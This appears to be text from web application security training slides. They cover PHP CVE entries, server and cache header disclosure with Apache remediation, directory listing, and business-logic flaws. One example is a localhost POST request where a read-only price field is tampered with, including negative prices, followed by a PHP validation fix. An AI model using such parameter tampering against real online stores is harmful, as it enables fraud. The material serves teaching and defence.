6	CVE-2016-6296	119		DoS Overflow	2016-07-25	2016-08-04	7.5	None	Remote	Low	Not required	Partial	Partial	Partial
Integer signedness error in the simplestring_addn function in simplestring.c in xmlrpc-epi through 0.54.2, as used in PHP before 5.5.38, 5.6.x before 5.6.24, and 7.x before 7.0.9, allows remote attackers to cause a denial of service (heap-based buffer overflow) or possibly have unspecified other impact via a long first argument to the PHP xmlrpc_encode_request function.														
7	CVE-2016-6289	190		DoS Overflow	2016-07-25	2016-08-04	6.8	None	Remote	Medium	Not required	Partial	Partial	Partial
Integer overflow in the virtual_file_ex function in TSRM/tsrm_virtual_cwd.c in PHP before 5.5.38, 5.6.x before 5.6.24, and 7.x before 7.0.9 allows remote attackers to cause a denial of service (stack-based buffer overflow) or possibly have unspecified other impact via a crafted extract operation on a ZIP archive.														
8	CVE-2016-6297	119		DoS Overflow	2016-07-25	2016-08-04	6.8	None	Remote	Medium	Not required	Partial	Partial	Partial

Web Server Headers - Example

- https://www.exploit-db.com/

Web Server Headers - Remediation

- /etc/httpd/conf/httpd.conf
- <IfModule headers_module>
  Header unset Server
  Header unset X-Powered-By

</IfModule>

Web Cache Headers - Example

- Header set Cache-Control "max-age=290304000, public“




```
HTTP/1.1 200 OK
Date: Wed, 10 Aug 2016 07:38:54 GMT
Server: Apache/2.4.17 (Win32) OpenSSL/1.0.2d PHP/5.5.37
Last-Modified: Wed, 10 Aug 2016 07:38:26 GMT
ETag: "1e-539b2bc21a68d"
Accept-Ranges: bytes
Content-Length: 30
Cache-Control: max-age=290304000, public
Connection: close
Content-Type: text/plain

This is a secret page. Shhh...
```

Web Cache Headers - Example



Web Cache Headers - Example



Web Cache Headers - Remediation

- Cache-Control: no-cache, no-store, must-revalidate
- Pragma: no-cache
- Expires: -1



Web Server Headers - Example



Directory Listing - Example

Directory Listing - Remediation

- <Directory />
  Options none
  AllowOverride none
  Require all denied
</Directory>
- Place a blank Index page in the directory

Directory Listing - Remediation

Exercises

- Go to about:cache in Firefox - what can you find from DVWA exercises?
- Look at DWVA pages' headers – are there any software versions?
- Look up PHP 5.3.0 on CVE-Details and Exploit-DB

Business Logic

- Uploading Unintended File Format
- Transferring a Negative Amount via an Online Bank
- Purchasing 0.1 of an Item in an Online Store
- Bypassing Stages of Multi-Step Processes
- Indefinite Possibilities….
- Some Are Also Relevant to the Other Issues – e.g. parameter manipulation, authorization bypass, direct browsing, injection

Application Workflow - Example





Application Workflow - Example

- The price is not editable on the ordering page, as it is in a ‘readonly’ field. However, it appears in the request:

```
POST /workflow.php HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:1337/workflow.php
Cookie: PHPSESSID=jrmshghbr5poualgfmqb434ia3
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

product=Big+Red+Button&quantity=1&price=5&place_order=Submit
```

Application Workflow - Example

- The request can be repeated with a different price:



Application Workflow - Example

- Or even a negative price:



Application Workflow - Example

- At the very minimum, the input should be checked to be non-negative on the server side, e.g.

```php
if (isset($_POST['place_order'])) {
    if (isset($_POST['price']) && $_POST['price']>=0
    && isset($_POST['quantity']) && $_POST['quantity']>=0
    && isset($_POST['product']) && $_POST['product']!="") {
```



Exercises

- Damn Vulnerable Web App
  - File Upload

Great Tools

- OWASP ZAP
- SQL Map
- Burp Pro
- Kali Linux

Q&A

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